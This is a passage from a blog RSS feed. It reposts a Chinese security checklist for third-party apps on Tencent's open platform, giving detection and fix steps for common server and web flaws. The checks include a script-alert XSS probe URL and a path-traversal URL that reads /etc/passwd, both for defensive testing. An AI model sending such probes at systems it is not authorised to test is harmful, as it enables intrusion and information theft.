#000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;toBankId&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;money&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">&nbsp;gen_input();&nbsp;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;Submit&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">FORM</span><span style="color: #000000;">&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　5).服务端核对令牌：</p> <p>　　这个很简单，这里就不再啰嗦了。</p> <p>　　上面这个其实不完全符合&#8220;并行会话的兼容&#8221;的规则，大家可以在此基础上修改。</p> <p>&nbsp;</p> <p>　　其实还有很多想写，无奈精力有限，暂且打住，日后补充，如果错漏，请指出:&gt;</p> <p>　　PS：今天下午写这篇文档的时候FF崩溃了一次，写了一半文章的全没了，郁闷好久T_T.......</p> <p>　　转载请说明出处，谢谢[hyddd(http://www.cnblogs.com/hyddd/)]</p></div><img src ="http://www.cnitblog.com/stomic/aggbug/89162.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-01-04 01:11 <a href="http://www.cnitblog.com/stomic/archive/2014/01/04/89162.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第三方应用开发安全规范</title><link>http://www.cnitblog.com/stomic/archive/2013/12/12/88981.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Thu, 12 Dec 2013 02:50:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2013/12/12/88981.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/88981.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2013/12/12/88981.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/88981.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/88981.html</trackback:ping><description><![CDATA[<div><div>You are here: <a href="http://www.mysqlops.com">Home</a> / <a href="http://www.mysqlops.com/category/tools">Tools</a> / 第三方应用开发安全规范</div>  	                                                                                                <h1>第三方应用开发安全规范</h1>                                      <div>                     <p>十一月 26, 2011 by <a href="http://www.mysqlops.com/author/eugene" title="由 Eugene 发布" rel="author">Eugene</a>  &#183; <a rel="nofollow" href="http://www.mysqlops.com/2011/11/26/secure.html#respond">Leave a Comment</a>&nbsp;<br /> </p>                  </div>                                      <div> <p><span style="color: red"><strong>特别提示：</strong></span><br /> 1. 安全漏洞测试checklist中出现的安全漏洞相关的术语解释，检测方法以及修复方案，将在下面的章节中进行详细描述。<br /> 2. 第三方应用测试人员必须按照下列checklist进行安全漏洞检查。<br /> 3. 第三方应用提交上线申请后，腾讯后台将对应用进行安全扫描，如果发现漏洞，将发邮件以及告警短信通知第三方进行修改，直至没有安全漏洞后才能上线。因此遵守该checklist才能让您的应用尽快上线。<br /> 此外，如果上线内测区以后，仍然多次被扫描出安全漏洞，腾讯将根据<a title="腾讯社区开放平台应用运营管理办法">中关于安全的有关规定，对应用进行相应的处理。</a></p> </div> <table id="toc" summary="目录"> <tbody> <tr> <td> <div> <h2>目录</h2> <p>[<a id="togglelink">隐藏</a>]</p> </div> <ul><li>1 1 安全漏洞测试checklist</li><li>2 2 安全漏洞危害等级评定标准</li><li>3 3 系统应用程序漏洞定义，检测方法及修复方案 <ul><li>3.1 3.1 Apache <ul><li>3.1.1 3.1.1 UserDir漏洞</li><li>3.1.2 3.1.2 目录浏览漏洞</li><li>3.1.3 3.1.3 默认页面泄漏漏洞</li></ul> </li><li>3.2 3.2 QHTTP或者其他Web Server <ul><li>3.2.1 3.2.1 404页面XSS漏洞</li><li>3.2.2 3.2.2 任意文件读取漏洞</li></ul> </li><li>3.3 3.3 Tomcat <ul><li>3.3.1 3.3.1 Tomcat默认管理后台漏洞</li><li>3.3.2 3.3.2 Tomcat默认页面泄漏漏洞</li></ul> </li><li>3.4 3.4 Nginx <ul><li>3.4.1 3.4.1 远程溢出漏洞</li><li>3.4.2 3.4.2 目录浏览漏洞</li></ul> </li><li>3.5 3.5 MySQL <ul><li>3.5.1 3.5.1 空口令/弱口令漏洞</li></ul> </li><li>3.6 3.6 FTP <ul><li>3.6.1 3.6.1 FTP匿名登录漏洞</li></ul> </li><li>3.7 3.7 Oracle <ul><li>3.7.1 3.7.1 空口令漏洞</li></ul> </li><li>3.8 3.8 PHPMyAdmin <ul><li>3.8.1 3.8.1 空口令漏洞</li></ul> </li><li>3.9 3.9 Linux <ul><li>3.9.1 3.9.1 默认口令漏洞</li><li>3.9.2 3.9.2 Samba任意用户访问漏洞</li><li>3.9.3 3.9.3 高危端口/服务开放漏洞</li></ul> </li></ul> </li><li>4 4 Web应用程序漏洞 <ul><li>4.1 4.1 注入漏洞 <ul><li>4.1.1 4.1.1 SQL注入漏洞</li><li>4.1.2 4.1.2 XSS漏洞</li><li>4.1.3 4.1.3 命令注入漏洞</li><li>4.1.4 4.1.4 HTTP响应头注入漏洞</li><li>4.1.5 4.1.5 跳转漏洞</li><li>4.1.6 4.1.6 XML注入漏洞</li></ul> </li><li>4.2 4.2 信息泄漏漏洞 <ul><li>4.2.1 4.2.1 HPInfo()信息泄漏漏洞</li><li>4.2.2 4.2.2 测试页面泄漏在外网漏洞</li><li>4.2.3 4.2.3 备份文件泄漏在外网漏洞</li><li>4.2.4 4.2.4 版本管理工具文件信息泄漏漏洞</li><li>4.2.5 4.2.5 HTTP认证泄漏漏洞</li><li>4.2.6 4.2.6 管理后台泄漏漏洞</li><li>4.2.7 4.2.7 泄漏员工电子邮箱漏洞以及分机号码</li><li>4.2.8 4.2.7 错误详情泄漏漏洞</li></ul> </li><li>4.3 4.3 请求伪造漏洞 <ul><li>4.3.1 4.3.1 CSRF漏洞</li><li>4.3.2 4.3.2 JSON-hijackin漏洞</li></ul> </li><li>4.4 4.4 权限控制漏洞 <ul><li>4.4.1 4.4.1 文件上传漏洞</li><li>4.4.2 4.4.2 crossdomain.xml配置不当漏洞</li><li>4.4.3 4.4.3 flash标签配置不当漏洞</li><li>4.4.4 4.4.4 embed标签配置不当漏洞</li><li>4.4.5 4.4.5 并发漏洞</li><li>4.4.6 4.4.6 Cookie安全性漏洞</li><li>4.4.7 4.4.7 Frame-proxy攻击漏洞</li></ul> </li></ul> </li></ul> </td> </tr> </tbody> </table> <p>&nbsp;</p> <p><a id="1_.E5.AE.89.E5.85.A8.E6.BC.8F.E6.B4.9E.E6.B5.8B.E8.AF.95checklist" name="1_.E5.AE.89.E5.85.A8.E6.BC.8F.E6.B4.9E.E6.B5.8B.E8.AF.95checklist"></a></p> <h2>1 安全漏洞测试checklist</h2> <table> <tbody> <tr> <th width="50"><strong>NO</strong></th> <th><strong>检查点</strong></th> </tr> <tr> <td>1</td> <td><strong>严禁</strong>在自己系统处理用户Login，<strong>必须</strong>使用腾讯公司统一提供的登录接口或者参数openid/openkey登录。<br /> 获取到openid/openkey后必须进行校验才能使用，校验规则请见<a title="http://wiki.opensns.qq.com/wiki/%E6%A6%82%E5%BF%B5%E5%92%8C%E6%9C%AF%E8%AF%AD#2.1_OpenID" href="http://wiki.opensns.qq.com/wiki/%E6%A6%82%E5%BF%B5%E5%92%8C%E6%9C%AF%E8%AF%AD#2.1_OpenID" rel="nofollow">这里</a>。</td> </tr> <tr> <td>2</td> <td><strong>严禁</strong>增/删/改防火墙iptables，私自开通高危端口。</td> </tr> <tr> <td>3</td> <td>检查Flash跨域策略文件crossdomain.xml是否合法。</td> </tr> <tr> <td>4</td> <td>检查是否有CSRF漏洞。</td> </tr> <tr> <td>5</td> <td>信息泄露漏洞安全性检查（例如test.cgi、phpinfo.php、info.pho、.svn/entries、HTTP认证泄漏漏洞、管理后台泄漏漏洞、内网信息泄漏漏洞、错误详情信息泄漏等）。</td> </tr> <tr> <td>6</td> <td>检查是否有XSS漏洞（不合法的参数不能在页面原样返回，特别是openid/openkey）</td> </tr> <tr> <td>7</td> <td>检查是否泄漏后台默认文件漏洞</td> </tr> <tr> <td>8</td> <td>检查Flash跨域策略文件的安全性。避免Flash注入javascript或者actionscript脚本在浏览器或者flash中执行跨站攻击。</td> </tr> <tr> <td>9</td> <td>Cookie安全性检查。</td> </tr> <tr> <td>10</td> <td>检查是否有跳转漏洞。</td> </tr> <tr> <td>11</td> <td>检查是否有Header注入漏洞。</td> </tr> <tr> <td>12</td> <td>检查是否有源代码泄漏漏洞。</td> </tr> <tr> <td>13</td> <td>检查是否有Frame-proxy攻击漏洞。</td> </tr> <tr> <td>14</td> <td>检查是否有SQL注入攻击漏洞。</td> </tr> <tr> <td>15</td> <td>检查是否有并发漏洞。</td> </tr> <tr> <td>16</td> <td>敏感信息检查。应用需要对可能造成腾讯公司公关、媒体危机的敏感内容，以及用户生成内容（UGC，由用户发表的言论）进行检查和过滤。<br /> 敏感词过滤必须采用腾讯公司提供的敏感词过滤接口<a title="/security/word_filter" href="http://wiki.opensns.qq.com/wiki//security/word_filter" target="_blank">/security/word filter</a>。</td> </tr> <tr> <td>17</td> <td>检查通过WEB页面发起的临时会话窗口的所有显示内容。</td> </tr> <tr> <td>18</td> <td>目录浏览漏洞安全性检查</td> </tr> <tr> <td>19</td> <td>检查是否泄漏员工电子邮箱漏洞以及分机号码。</td> </tr> </tbody> </table> <p><a id="2_.E5.AE.89.E5.85.A8.E6.BC.8F.E6.B4.9E.E5.8D.B1.E5.AE.B3.E7.AD.89.E7.BA.A7.E8.AF.84.E5.AE.9A.E6.A0.87.E5.87.86" name="2_.E5.AE.89.E5.85.A8.E6.BC.8F.E6.B4.9E.E5.8D.B1.E5.AE.B3.E7.AD.89.E7.BA.A7.E8.AF.84.E5.AE.9A.E6.A0.87.E5.87.86"></a></p> <h2>2 安全漏洞危害等级评定标准</h2> <p>安全漏洞危害等级评分方法：<br /> 1. 对&#8220;潜在危险&#8221;&#8220;可重现性&#8221;&#8220;可利用性&#8221;&#8220;影响用户&#8221;&#8220;可发现性&#8221;这5项，根据高、中、低标准进行打分（分别是3，2，1分）；<br /> 2. 然后5项得分累加即得总分。 3. 如果总分是 5-7 分，则是低风险； 8-11分，则是中等风险；12-15分，则是高风险。</p> <p>评分标准如下：</p> <table> <tbody> <tr> <th width="75"><br /></th> <th width="150"><strong>高（3分）</strong></th> <th width="150"><strong>中（2分）</strong></th> <th width="150"><strong>低（1分）</strong></th> </tr> <tr> <td>潜在危险</td> <td>黑客可获取完全验证权限，执行管理员操作，非法上传文件</td> <td>泄漏了敏感信息</td> <td>泄漏其它信息</td> </tr> <tr> <td>可重现性</td> <td>攻击者可以以随意再次攻击</td> <td>攻击者可以重复攻击，但是有时间限制</td> <td>攻击者很难重复攻击过程</td> </tr> <tr> <td>可利用性</td> <td>初学者在短期内可以掌握攻击方法</td> <td>熟练的攻击者才能完成攻击</td> <td>漏洞利用条件非常苛刻</td> </tr> <tr> <td>影响用户</td> <td>所有用户，关键用户</td> <td>部分用户</td> <td>极少数用户，匿名用户</td> </tr> <tr> <td>可发现性</td> <td>漏洞很明显，攻击条件很容易获取</td> <td>有私有区域，部分人可以看到，需要深入挖掘才能发现漏洞</td> <td>发现漏洞极其困难</td> </tr> </tbody> </table> <p>&nbsp;</p> <p><a id="3_.E7.B3.BB.E7.BB.9F.E5.BA.94.E7.94.A8.E7.A8.8B.E5.BA.8F.E6.BC.8F.E6.B4.9E.E5.AE.9A.E4.B9.89.EF.BC.8C.E6.A3.80.E6.B5.8B.E6.96.B9.E6.B3.95.E5.8F.8A.E4.BF.AE.E5.A4.8D.E6.96.B9.E6.A1.88" name="3_.E7.B3.BB.E7.BB.9F.E5.BA.94.E7.94.A8.E7.A8.8B.E5.BA.8F.E6.BC.8F.E6.B4.9E.E5.AE.9A.E4.B9.89.EF.BC.8C.E6.A3.80.E6.B5.8B.E6.96.B9.E6.B3.95.E5.8F.8A.E4.BF.AE.E5.A4.8D.E6.96.B9.E6.A1.88"></a></p> <h2>3 系统应用程序漏洞定义，检测方法及修复方案</h2> <p>系统应用程序指运行在操作系统之上的应用程序，包括操作系统本身及APP（例如Apache、Nginx、MySQL）。<br /> 对于部署在腾讯服务器上的第三方APP，腾讯后台将对机器进行安全漏洞扫描，可检测出包括Apache、Nginx、MySQL等的常见安全漏洞。</p> <p><a id="3.1_Apache" name="3.1_Apache"></a></p> <h3>3.1 Apache</h3> <p><a id="3.1.1_UserDir.E6.BC.8F.E6.B4.9E" name="3.1.1_UserDir.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.1.1 UserDir漏洞</h4> <p><strong>名称：</strong>Apache UserDir 漏洞</p> <p><strong>描述：</strong>早期版本的Apache默认会开启UserDir，这个无关功能会泄漏主机的账户名，也可能由于配置不当导致敏感文件被下载。</p> <p><strong>检测方法：</strong>在浏览器里输入http://ip/~root ，若目录存在（即HTTP状态码返回403），则说明UserDir开启。<br /> 如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/403.png"><img size-full=""  wp-image-3192"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/403.png" alt="" height="264" width="652" /></a><br /> <strong>修复方案：</strong><br /> 1. 在Apache配置文件中取消UserDir，可能遇到的两种情况：<br /> （1）注释掉以下三行，然后重启Apache：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/apche.png"><img size-full=""  wp-image-3193"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/apche.png" alt="" height="44" width="230" /></a><br /> （2）如果配置文件中没有上图中所示的三行，则添加（或修改）一行配置：UserDir disable，然后重启Apache<br /> 2. 升级到高版本的Apache（2.1.4及以上版本默认不开启UserDir）</p> <p><a id="3.1.2_.E7.9B.AE.E5.BD.95.E6.B5.8F.E8.A7.88.E6.BC.8F.E6.B4.9E" name="3.1.2_.E7.9B.AE.E5.BD.95.E6.B5.8F.E8.A7.88.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.1.2 目录浏览漏洞</h4> <p><strong>名称：</strong>Apache 目录浏览漏洞</p> <p><strong>描述：</strong>Apache默认配置时允许目录浏览。如果目录下没有索引文件，则会出现目录浏览，导致文件信息泄漏。</p> <p><strong>检测方法：</strong>直接访问目录，如果能看到目录下的文件信息，则说明存在目录浏览漏洞。<br /> <strong>修复方案：</strong><br /> 在Apache配置文件中，将目录配置中的&#8220;Indexes&#8221;删除，或者改为&#8220;-Indexes&#8221;，如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/indexes.png"><img size-full=""  wp-image-3194"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/indexes.png" alt="" height="122" width="551" /></a><br /> <a id="3.1.3_.E9.BB.98.E8.AE.A4.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="3.1.3_.E9.BB.98.E8.AE.A4.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.1.3 默认页面泄漏漏洞</h4> <p><strong>名称：</strong>Apache 默认页面泄漏漏洞</p> <p><strong>描述：</strong>Apache在安装后存在默认目录/icons/、/manual/</p> <p><strong>检测方法：</strong>在浏览器里输入http://IP/icons/，http://IP/manual/，如果能访问，则说明存在默认页面泄漏漏洞。<br /> 如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/icons.png"><img size-full=""  wp-image-3195"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/icons.png" alt="" height="492" width="438" /></a><br /> <strong>修复方案：</strong><br /> 1. 对于Apache2，注释掉Apache配置文件中的目录配置中的以下两行：</p> <div> <p>Alias /icons/ &#8220;/usr/share/apache2/icons/&#8221;<br /> AliasMatch ^/manual(?:/(?:de|en|es|fr|ja|ko|ru))?(/.*)?$ &#8220;/usr/share/apache2/manual$1&#8243;</p> </div> <p>2. 或者删除配置文件中的icons、manual两个目录。</p> <p>&nbsp;</p> <p><a id="3.2_QHTTP.E6.88.96.E8.80.85.E5.85.B6.E4.BB.96Web_Server" name="3.2_QHTTP.E6.88.96.E8.80.85.E5.85.B6.E4.BB.96Web_Server"></a></p> <h3>3.2 QHTTP或者其他Web Server</h3> <p><a id="3.2.1_404.E9.A1.B5.E9.9D.A2XSS.E6.BC.8F.E6.B4.9E" name="3.2.1_404.E9.A1.B5.E9.9D.A2XSS.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.2.1 404页面XSS漏洞</h4> <p><strong>名称：</strong>QHTTP 404 页面XSS漏洞</p> <p><strong>描述：</strong>低版本的QHTTP在返回404页面时，未对URL进行编码，导致出现XSS漏洞。</p> <p><strong>检测方法：</strong>在浏览器里输入http://ip/xxx.xxx?a=&lt;script&gt;alert(0)&lt;/script&gt; ，若出现如下弹框，则说明存在XSS漏洞。<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/404.png"><img size-full=""  wp-image-3196"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/404.png" alt="" height="262" width="402" /></a><br /> <strong>修复方案：</strong>升级QHTTP到2.1及以上版本。升级版本可能带来性能问题，开发人员需要进行相关的性能测试。</p> <p><a id="3.2.2_.E4.BB.BB.E6.84.8F.E6.96.87.E4.BB.B6.E8.AF.BB.E5.8F.96.E6.BC.8F.E6.B4.9E" name="3.2.2_.E4.BB.BB.E6.84.8F.E6.96.87.E4.BB.B6.E8.AF.BB.E5.8F.96.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.2.2 任意文件读取漏洞</h4> <p><strong>名称：</strong>任意文件读取漏洞</p> <p><strong>描述：</strong>低版本的Web Server在处理请求时存在漏洞，会泄漏服务器上任意文件内容。</p> <p><strong>检测方法：</strong>在浏览器里输入http://ip/../../../../../etc/passwd，如果能访问，则说明存在任意文件读取漏洞。<br /> <strong>修复方案：</strong>如果使用QHTTP，请升级QHTTP到2.1及以上版本。升级版本可能带来性能问题，开发人员需要进行相关的性能测试。</p> <p><a id="3.3_Tomcat" name="3.3_Tomcat"></a></p> <h3>3.3 Tomcat</h3> <p><a id="3.3.1_Tomcat.E9.BB.98.E8.AE.A4.E7.AE.A1.E7.90.86.E5.90.8E.E5.8F.B0.E6.BC.8F.E6.B4.9E" name="3.3.1_Tomcat.E9.BB.98.E8.AE.A4.E7.AE.A1.E7.90.86.E5.90.8E.E5.8F.B0.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.3.1 Tomcat默认管理后台漏洞</h4> <p><strong>名称：</strong>Tomcat默认管理后台漏洞<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/tomcat.png"><img size-full=""  wp-image-3197"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/tomcat.png" alt="" height="332" width="324" /></a><br /> <strong>描述：</strong>Tomcat在安装后默认能访问到后台管理登录页面。</p> <p><strong>检测方法：</strong>在浏览器里输入http://ip/manager/html ，若出现如下弹框，则说明存在Tomcat默认管理后台漏洞。</p> <p><strong>修复方案：</strong>删除tomcat安装目录下webapps下的manager目录。</p> <p><a id="3.3.2_Tomcat.E9.BB.98.E8.AE.A4.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="3.3.2_Tomcat.E9.BB.98.E8.AE.A4.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.3.2 Tomcat默认页面泄漏漏洞</h4> <p><strong>名称：</strong>Tomcat默认页面泄漏漏洞</p> <p><strong>描述：</strong>Tomcat在安装后存在默认页面。</p> <p><strong>检测方法：</strong>直接访问Tomcat的默认页面，若出现如下页面，则说明存在默认页面泄漏漏洞。<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/tomcat-apache.png"><img size-full=""  wp-image-3198"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/tomcat-apache.png" alt="" height="347" width="591" /></a><br /> <strong>修复方案：</strong>删除这些与运营环境无关的目录。</p> <p><a id="3.4_Nginx" name="3.4_Nginx"></a></p> <h3>3.4 Nginx</h3> <p><a id="3.4.1_.E8.BF.9C.E7.A8.8B.E6.BA.A2.E5.87.BA.E6.BC.8F.E6.B4.9E" name="3.4.1_.E8.BF.9C.E7.A8.8B.E6.BA.A2.E5.87.BA.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.4.1 远程溢出漏洞</h4> <p><strong>名称：</strong>Nginx远程溢出漏洞</p> <p><strong>描述：</strong>低版本的nginx存在远程溢出漏洞（详见 <a title="http://www.kb.cert.org/vuls/id/180065" href="http://www.kb.cert.org/vuls/id/180065" rel="nofollow" target="_blank">http://www.kb.cert.org/vuls/id/180065</a> 的说明）。</p> <p><strong>检测方法：</strong>0.8.15, 0.7.62, 0.6.39, 0.5.38以下版本均存在此漏洞。<br /> <strong>修复方案：</strong>升级nginx到0.8.15+/0.7.62+/0.6.39+/0.5.38+以上，或者安装官方补丁（ <a title="http://nginx.org/download/patch.180065.txt" href="http://nginx.org/download/patch.180065.txt" rel="nofollow" target="_blank">http://nginx.org/download/patch.180065.txt</a> ）。<br /> 注：安装补丁后，Nginx的版本号不会变，因此腾讯安全扫描系统可能仍然会发安全漏洞告警。</p> <p><a id="3.4.2_.E7.9B.AE.E5.BD.95.E6.B5.8F.E8.A7.88.E6.BC.8F.E6.B4.9E" name="3.4.2_.E7.9B.AE.E5.BD.95.E6.B5.8F.E8.A7.88.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.4.2 目录浏览漏洞</h4> <p><strong>名称：</strong>Nginx目录浏览漏洞</p> <p><strong>描述：</strong>如果开启nginx的目录浏览，会泄漏目录下的文件信息。</p> <p><strong>检测方法：</strong>直接访问目录，如果能看到目录下的文件信息，则说明存在目录浏览漏洞。</p> <p><strong>修复方案：</strong>不要启用nginx的目录浏览。</p> <p>&nbsp;</p> <p><a id="3.5__MySQL" name="3.5__MySQL"></a></p> <h3>3.5 MySQL</h3> <p><a id="3.5.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.2F.E5.BC.B1.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E" name="3.5.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.2F.E5.BC.B1.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.5.1 空口令/弱口令漏洞</h4> <p><strong>名称：</strong>MySQL空口令/弱口令漏洞</p> <p><strong>描述：</strong>MySQL服务器未设置root帐号口令或者某个帐号使用了简单的口令，导致可以远程不使用口令连接或者很容易猜测到帐号口令。</p> <p><strong>检测方法：</strong>使用MySQL客户端以空口令登录或者帐号/口令形式进行猜解，如果能够登录，则表示存在MySQL空口令/弱口令漏洞。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/mysql.png"><img size-full=""  wp-image-3199"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/mysql.png" alt="" height="230" width="389" /></a><br /> <strong>修复方案：</strong>在MySQL中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：<br /> （1）大写字母<br /> （2）小写字母<br /> （3）特殊字符<br /> （4）数字</p> <p>&nbsp;</p> <p><a id="3.6__FTP" name="3.6__FTP"></a></p> <h3>3.6 FTP</h3> <p><a id="3.6.1_FTP.E5.8C.BF.E5.90.8D.E7.99.BB.E5.BD.95.E6.BC.8F.E6.B4.9E" name="3.6.1_FTP.E5.8C.BF.E5.90.8D.E7.99.BB.E5.BD.95.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.6.1 FTP匿名登录漏洞</h4> <p><strong>名称：</strong>FTP匿名登录漏洞</p> <p><strong>描述：</strong>FTP Server允许匿名登录（使用ftp或者anonymous用户，密码为空），可能会泄漏一些敏感信息。</p> <p><strong>检测方法：</strong>FTP登录时使用anonymous/ftp帐户，如果登录成功，则表示存在FTP匿名登录漏洞。</p> <p><strong>修复方案：</strong>配置FTP Server为禁止匿名登录。以vsftp2.2.0为例，需按照如下说明修改配置文件：<br /> （1）将anonymous_enable值改为为NO（如果没有这一行，加上anonymous_enable=NO即可）。<br /> （2）添加local_enable=YES（开启本地用户访问）。</p> <p>&nbsp;</p> <p><a id="3.7__Oracle" name="3.7__Oracle"></a></p> <h3>3.7 Oracle</h3> <p><a id="3.7.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E" name="3.7.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.7.1 空口令漏洞</h4> <p><strong>名称：</strong>Oracle空口令漏洞</p> <p><strong>描述：</strong>Oracle服务器未设置管理帐号口令，导致可以远程不使用口令控制Oracle Server。</p> <p><strong>检测方法：</strong>使用Oracle客户端以空口令登录，如果能够登录，则表示存在Oracle空口令漏洞。</p> <p><strong>修复方案：</strong>在MySQL中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：<br /> （1）大写字母<br /> （2）小写字母<br /> （3）特殊字符<br /> （4）数字</p> <p>&nbsp;</p> <p><a id="3.8__PHPMyAdmin" name="3.8__PHPMyAdmin"></a></p> <h3>3.8 PHPMyAdmin</h3> <p><a id="3.8.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E" name="3.8.1_.E7.A9.BA.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.8.1 空口令漏洞</h4> <p><strong>名称：</strong>PHPMyAdmin空口令漏洞</p> <p><strong>描述：</strong>PHPMyAdmin没有设置口令，任何人都可以控制数据库。</p> <p><strong>检测方法：</strong>访问http://IP/PHPMyAdmin，如果能够访问，则表示存在PHPMyAdmin空口令漏洞。</p> <p><strong>修复方案：</strong>在PHPMyAdmin中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：<br /> （1）大写字母<br /> （2）小写字母<br /> （3）特殊字符<br /> （4）数字</p> <p>&nbsp;</p> <p><a id="3.9__Linux" name="3.9__Linux"></a></p> <h3>3.9 Linux</h3> <p><a id="3.9.1_.E9.BB.98.E8.AE.A4.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E" name="3.9.1_.E9.BB.98.E8.AE.A4.E5.8F.A3.E4.BB.A4.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.9.1 默认口令漏洞</h4> <p><strong>名称：</strong>默认口令漏洞</p> <p><strong>描述：</strong>第三方应用申请机器时，腾讯会为该应用分配一个跳板机帐号，以及跳板机的初始固定密码。 应用拿到跳板机帐号和密码后，需要修改这个初始固定密码，否则可能导致帐号被他人利用。</p> <p><strong>检测方法：</strong>详见<a title="http://wiki.opensns.qq.com/wiki/%e8%b7%b3%e6%9d%bf%e6%9c%ba%e7%99%bb%e5%bd%95%e8%af%b4%e6%98%8e" href="http://wiki.opensns.qq.com/wiki/%e8%b7%b3%e6%9d%bf%e6%9c%ba%e7%99%bb%e5%bd%95%e8%af%b4%e6%98%8e" rel="nofollow">跳板机登录说明</a>中关于登录的步骤。</p> <p><strong>修复方案：</strong>修改跳板机固定密码为一个安全的口令。一个安全的口令应该包含以下四项中的三项：<br /> （1）大写字母<br /> （2）小写字母<br /> （3）特殊字符<br /> （4）数字</p> <p><a id="3.9.2_Samba.E4.BB.BB.E6.84.8F.E7.94.A8.E6.88.B7.E8.AE.BF.E9.97.AE.E6.BC.8F.E6.B4.9E" name="3.9.2_Samba.E4.BB.BB.E6.84.8F.E7.94.A8.E6.88.B7.E8.AE.BF.E9.97.AE.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.9.2 Samba任意用户访问漏洞</h4> <p><strong>名称：</strong>Samba任意用户访问漏洞</p> <p><strong>描述：</strong>在配置Samba Server的时候，未进行用户身份进行控制，导致任何人可以访问。</p> <p><strong>检测方法：</strong>以SMB协议连接服务器，如果可以访问，则表示存在Samba任意用户访问漏洞。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/samba.png"><img size-full=""  wp-image-3200"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/samba.png" alt="" height="337" width="570" /></a><br /> <strong>修复方案：</strong>为Samba Server添加一个安全的口令。一个安全的口令应该包含以下四项中的三项：<br /> （1）大写字母<br /> （2）小写字母<br /> （3）特殊字符<br /> （4）数字</p> <p><a 